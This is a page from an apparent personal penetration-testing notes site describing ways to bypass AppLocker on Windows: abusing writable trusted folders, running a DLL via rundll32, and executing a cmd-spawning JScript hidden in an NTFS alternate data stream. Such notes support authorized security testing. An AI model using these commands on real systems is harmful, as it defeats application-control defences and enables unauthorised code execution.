🤯
Hacker Mind
  • Penetration Testing Notes
    • 00 - Kali Linux Preparation
    • Page 1
    • Web Application (80/443)
      • XSS
      • LFI / Path Traversal
      • Wordpress
    • SMB (445)
    • LDAP
    • MSRPC (135)
    • MSSQL
    • Kerberos (88/tcp)
    • DNS (53)
    • IPv6
    • Import Nessus to Metasploit
  • STUCK? Look at this :D
  • Buffer Overflow
    • WinDbg
    • BoF Script Python
  • Active Directory Recon
    • Username Generation
    • PowerView
    • BloodHound
    • Flooding Attack
  • Payload
    • Sendemail
    • Phishing Payload
    • Bypass All The Things
      • AppLocker
      • MSBuild Shell
      • C# Runner
      • Payload Mod
      • Powershell
      • Bypass AV Linux
        • C Runner
  • Exploit
    • Brute Force
    • File Upload
    • Cracking
    • Shell & Stabilization
    • Database
    • MSSQL Injection
  • Tradecraft
    • Invoke-ReflectivePEInjection
  • Metasploit
    • Meterpreter Tricks
  • Privilege Escalation
    • Lateral Movement
    • Linux
    • Windows
  • Post Exploit
    • Active Directory
      • Kerberos
      • ACLs/ACEs
      • DCSync
      • Golden Ticket with krbtgt
      • LAPS
      • Page
      • Impersonate Token
    • Pivoting
      • Pivot in a Case
    • Transfer File
    • Exfiltration
    • Persistence
  • WiFi Pentesting
    • WPA-PSK
    • WPA-E (hostapd)
    • Attack WEP
    • Evil Twin - Wi-Fi
    • WPA3 Downgrade
  • Hardware Hacking
    • Information Gathering
  • Practice & Lab
Powered by GitBook
On this page
  • Trusted Folders
  • Bypass with DLL
  • Alternate Data Stream
  • Other technique
  • Still Problem?
  1. Payload
  2. Bypass All The Things

AppLocker

PreviousBypass All The ThingsNextMSBuild Shell

Last updated 7 months ago

Trusted Folders

need administrator cmd

and tools from sysinternalsSuite

accesschk.exe "<current user>" C:\Windows -wus

icacls.exe C:\Windows\Tasks

copy the binary to allowed directory. then run that binary.

Bypass with DLL

rundll32 c:\windows\tasks\shell.dll,run

Alternate Data Stream

save this to shell.js

var manggo = new ActiveXObject("WScript.Shell");
var pineapple = manggo.Run("cmd.exe");

Find the TRUSTED FOLDER that able to W & X by current user

type shell.js > "<trusted directory with txt file>\file.txt:shell.js"
# verify the alternate data stream

dir /r "<file name>"
# file.txt:shell.js:$DATA

Execute the alternate data stream

wscript "<directory>\file.txt:shell.js"

Other technique

check third party script execution which is must be pre-installed in the compromised computer:

  • Python

Still Problem?

use this:

reference:

https://securitycafe.ro/2023/05/02/bypassing-application-whitelisting/
GitHub - calebstewart/bypass-clm: PowerShell Constrained Language Mode BypassGitHub
Logo